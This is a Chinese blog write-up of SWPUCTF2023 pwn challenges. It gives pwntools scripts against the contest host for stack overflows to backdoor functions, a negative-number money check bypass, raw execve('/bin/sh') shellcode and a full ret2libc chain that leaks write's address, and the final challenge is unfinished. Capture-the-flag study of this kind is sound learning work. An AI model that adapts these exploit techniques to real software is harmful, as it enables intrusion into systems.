SWPUCTF2023-Pwn

前言

之前学习过一段时间Pwn,后面就丢掉了,再重新回来补一补

签到

checksec检查一下

用64位IDA打开

简单的栈溢出,backdoor的位置直接给了

写脚本如下,buf的长度就只有48,加上8位的指针,达到backdoor的位置

from pwn import *

io=remote("node4.anna.nssctf.cn",28296)
target=0x000000000040123A
payload=b'a'*(48+8)+p64(target)

io.sendline(payload)
io.interactive()

guess me

题目没有附件,先直接连接看看

是一个简单的猜数字,让AI跑一个二分法的脚本即可,当然也可以手注,这里应该是考察pwntools的使用

from pwn import *

# 连接到远程服务
io = remote("node4.anna.nssctf.cn", 28024)

# 读取初始行

print(io.recvuntil(b':'))

# 二分法查找 0 到 100 之间的数字
low, high = 0, 100

while low <= high:
    mid = (low + high) // 2
    io.sendline(str(mid).encode())  # 发送猜测的数字
    response = io.recvline()         # 获取服务器的响应

    # 打印当前猜测及其响应
    print(f"Guess: {mid}, Response: {response.decode().strip()}")

    # 检查响应并调整搜索范围
    if b'Bingo!' in response:  # 检查是否猜对了
        io.interactive()
        break
    elif b'too big' in response:
        high = mid - 1  # 调整上界
    elif b'too small' in response:
        low = mid + 1   # 调整下界
    else:
        print("Unexpected response:", response.decode().strip())
        break

buy

checksec检查

进入IDA分析,要满足key的条件才能进入后门函数

在food函数中,存在key的赋值语句

不过仔细看,money是由v1来决定,而v1不能大于3,把v1设置为一个负数就能获取到money

进入door函数后就是一个简单的栈溢出

在mygift里找到/bin/sh的地址

写脚本

from pwn import *

io = remote('node4.anna.nssctf.cn', 28469)

io.sendline(b'1')
io.sendline(b'1')
io.sendline(b'-100')
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'1')

target=0x000000000040154C

payload=b'a'*(10+8)+p64(target)

io.sendline(payload)
io.interactive()

拿到flag

Shellcode

checksec

直接把shellcode发过去就行了

from pwn import *
context(os="linux",arch='amd64',log_level='debug')
io=remote('node4.anna.nssctf.cn', 28409)

payload=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.sendline(payload)
io.interactive()

ezlibc

找了好久找到一篇讲ret2libc相对清晰的文章

checksec,附件中给了libc文件

进入IDA查看伪代码

查看不出来具体多少个填充位

使用pwndbg对附件进行调试,可以看到有报错地址,使用cyclic进行计算,得到填充位是20

由于题目已经给出了lib.so文件,因此无需计算偏移量

这里写代码就详细一点

首先是引用源文件

elf = ELF('./ezlibc') #加载源文件
libc = ELF('./libc-2.31.so') #加载libc.so

然后进行数据发送

io.sendline(b'a'*20+p32(write_plt_addr)+p32(0x80491B6)+p32(1)+p32(write_got_addr)+p32(4))

对上面这个paylaod的解释:20个a溢出后进入write函数,0x80491B6是dofunc函数的地址,也是write函数的返回地址。后面三个参数对应的是:1为write的”写模式”,elf.got.write是打印字符串的地址,4是指字符串的长度。

为什么write函数的地址要返回到dofunc的开始呢?因为要制造一个循环,第一次dofunc的时候是不知道write函数的地址的,将其打印出来后再进行dofunc函数操作,就可以利用计算偏移量来进行构造payload。(实际上并不一定要是dofunc,只需要在溢出点前面就行)

可以看到dofunc的地址就在0x80491B6

简单测试一下拿到write的地址的过程

from pwn import *

context(arch='i386', os='linux',log_level="debug")

io=process('./ezlibc')
elf=ELF('./ezlibc')
libc=ELF('./libc-2.31.so')

write_plt_addr = elf.plt["write"]
write_got_addr = elf.got["write"]
main_addr = 0x80491B6

io.recvuntil(b"Hello, there is a ez libc test!!!input:")
io.sendline(b'a'*20+p32(write_plt_addr)+p32(0x80491B6)+p32(1)+p32(write_got_addr)+p32(4))
io.recvuntil(b'byebye')
write_addr=u32(io.recv(4))
print(hex(write_addr))

io.interactive()

可以看到成功获取到write的地址,接下来就是进行计算偏移量

base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

然后的话就是进行发送payload

io.sendline(b'a'*20+p32(system_addr)+p32(1)+p32(binsh_addr))=

格式是和最开始的一样,这里1是system函数的返回地址,不重要,binsh是函数的参数

完整的代码如下

from pwn import *

context(arch='i386', os='linux',log_level="debug")

#io=process('./ezlibc')
io=remote('node4.anna.nssctf.cn', 28566)
elf=ELF('./ezlibc')
libc=ELF('./libc-2.31.so')

write_plt_addr = elf.plt["write"]
write_got_addr = elf.got["write"]
main_addr = 0x80491B6

io.recvuntil(b"Hello, there is a ez libc test!!!input:")
io.sendline(b'a'*20+p32(write_plt_addr)+p32(0x80491B6)+p32(1)+p32(write_got_addr)+p32(4))
io.recvuntil(b'byebye')
write_addr=u32(io.recv(4))

system_offset = libc.symbols['system']
binsh_offset = next(libc.search('/bin/sh'))
write_offset = libc.symbols['write']

base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

io.recvuntil(b"Hello, there is a ez libc test!!!input:")
io.sendline(b'a'*20+p32(system_addr)+p32(1)+p32(binsh_addr))

io.interactive()

本题是给出了libc.so文件就可以直接从里面提取,如果没有的话需要使用LibcSearcher来进行搜索

神奇的strlen

checksec查看,题目提供了libcso文件

查看IDA伪代码,应该是ret2libc的64位put类型题目

这里的strlen函数遇到’\x00’这个终止符的时候会停止计数,从而绕过长度判断

待续。。。。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇